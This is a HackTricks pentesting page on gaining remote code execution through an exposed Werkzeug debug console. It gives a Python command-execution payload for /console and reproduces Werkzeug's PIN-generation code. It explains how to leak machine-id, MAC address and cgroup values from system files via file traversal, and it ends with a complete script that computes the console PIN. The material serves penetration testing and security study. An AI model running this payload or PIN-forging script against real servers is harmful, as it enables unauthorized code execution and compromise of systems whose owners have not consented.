HackTricks
Search…
Pentesting
werkzeug

Console RCE

If debug is active you could try to access to /console and gain RCE.
1
__import__('os').popen('whoami').read();
Copied!
There is also several exploits on the internet like this or one in metasploit.

Pin Protected

In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin:

Werkzeug Console PIN Exploit

Copied from the first link. See Werkzeug “console locked” message by forcing debug error page in the app.
1
The console is locked and needs to be unlocked by entering the PIN.
2
You can find the PIN printed out on the standard output of your
3
shell that runs the server
Copied!
Locate vulnerable Werkzeug debug console at path vulnerable-site.com/console, but is locked by secret PIN number.
You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug __init__.py file on server e.g. python3.5/site-packages/werkzeug/debug/__init__.py. View Werkzeug source code repo, but better to leak source code through file traversal vulnerability since versions likely differ.
In this file, see relevant method outlining steps to generate console PIN:
1
def get_pin_and_cookie_name(app):
2
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
3
rv = None
4
num = None
5
6
# Pin was explicitly disabled
7
if pin == 'off':
8
return None, None
9
10
# Pin was provided explicitly
11
if pin is not None and pin.replace('-', '').isdigit():
12
# If there are separators in the pin, return it directly
13
if '-' in pin:
14
rv = pin
15
else:
16
num = pin
17
18
modname = getattr(app, '__module__',
19
getattr(app.__class__, '__module__'))
20
21
try:
22
# `getpass.getuser()` imports the `pwd` module,
23
# which does not exist in the Google App Engine sandbox.
24
username = getpass.getuser()
25
except ImportError:
26
username = None
27
28
mod = sys.modules.get(modname)
29
30
# This information only exists to make the cookie unique on the
31
# computer, not as a security feature.
32
probably_public_bits = [
33
username,
34
modname,
35
getattr(app, '__name__', getattr(app.__class__, '__name__')),
36
getattr(mod, '__file__', None),
37
]
38
39
# This information is here to make it harder for an attacker to
40
# guess the cookie name. They are unlikely to be contained anywhere
41
# within the unauthenticated debug page.
42
private_bits = [
43
str(uuid.getnode()),
44
get_machine_id(),
45
]
46
47
h = hashlib.md5()
48
for bit in chain(probably_public_bits, private_bits):
49
if not bit:
50
continue
51
if isinstance(bit, text_type):
52
bit = bit.encode('utf-8')
53
h.update(bit)
54
h.update(b'cookiesalt')
55
56
cookie_name = '__wzd' + h.hexdigest()[:20]
57
58
# If we need to generate a pin we salt it a bit more so that we don't
59
# end up with the same value and generate out 9 digits
60
if num is None:
61
h.update(b'pinsalt')
62
num = ('%09d' % int(h.hexdigest(), 16))[:9]
63
64
# Format the pincode in groups of digits for easier remembering if
65
# we don't have a result yet.
66
if rv is None:
67
for group_size in 5, 4, 3:
68
if len(num) % group_size == 0:
69
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
70
for x in range(0, len(num), group_size))
71
break
72
else:
73
rv = num
74
75
return rv, cookie_name
Copied!
Variables needed to exploit the console PIN:
1
probably_public_bits = [
2
username,
3
modname,
4
getattr(app, '__name__', getattr(app.__class__, '__name__')),
5
getattr(mod, '__file__', None),
6
]
7
8
private_bits = [
9
str(uuid.getnode()),
10
get_machine_id(),
11
]
Copied!
  • username is the user who started this Flask
  • modname is flask.app
  • getattr(app, '__name__', getattr (app .__ class__, '__name__')) is Flask
  • getattr(mod, '__file__', None) is the absolute path of app.py in the flask directory (e.g. /usr/local/lib/python3.5/dist-packages/flask/app.py). If app.py doesn't work, try app.pyc
  • uuid.getnode() is the MAC address of the current computer, str (uuid.getnode ()) is the decimal expression of the mac address
  • get_machine_id() read the value in /etc/machine-id or /proc/sys/kernel/random/boot_id and return directly if there is, sometimes it might be required to append a piece of information within /proc/self/cgroup that you find at the end of the first line (after the third slash)
To find server MAC address, need to know which network interface is being used to serve the app (e.g. ens3). If unknown, leak /proc/net/arp for device ID and then leak MAC address at /sys/class/net/<device id>/address.
Convert from hex address to decimal representation by running in python e.g.:
1
>>> print(0x5600027a23ac)
2
94558041547692
Copied!
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
1
import hashlib
2
from itertools import chain
3
probably_public_bits = [
4
'web3_user',# username
5
'flask.app',# modname
6
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
7
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
8
]
9
10
private_bits = [
11
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
12
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
13
]
14
15
h = hashlib.md5()
16
for bit in chain(probably_public_bits, private_bits):
17
if not bit:
18
continue
19
if isinstance(bit, str):
20
bit = bit.encode('utf-8')
21
h.update(bit)
22
h.update(b'cookiesalt')
23
#h.update(b'shittysalt')
24
25
cookie_name = '__wzd' + h.hexdigest()[:20]
26
27
num = None
28
if num is None:
29
h.update(b'pinsalt')
30
num = ('%09d' % int(h.hexdigest(), 16))[:9]
31
32
rv =None
33
if rv is None:
34
for group_size in 5, 4, 3:
35
if len(num) % group_size == 0:
36
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
37
for x in range(0, len(num), group_size))
38
break
39
else:
40
rv = num
41
42
print(rv)
Copied!
Last modified 7mo ago